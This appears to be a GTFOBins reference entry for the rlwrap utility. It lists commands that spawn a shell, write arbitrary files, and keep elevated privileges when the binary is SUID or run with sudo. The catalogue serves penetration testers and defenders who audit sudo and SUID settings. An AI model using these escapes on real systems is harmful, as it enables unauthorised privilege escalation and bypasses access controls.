GTFOBins.github.io/_gtfobins/rlwrap.md

345 B

functions
shell file-write suid sudo
code
rlwrap /bin/sh
description code
This adds timestamps to the output file. This relies on the external `echo` command. LFILE=file_to_write rlwrap -l "$LFILE" echo DATA
code
./rlwrap -H /dev/null /bin/sh -p
code
sudo rlwrap /bin/sh